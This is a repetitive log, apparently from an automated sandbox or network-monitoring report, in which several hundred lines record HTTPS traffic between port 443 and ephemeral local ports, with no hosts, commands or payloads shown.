Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
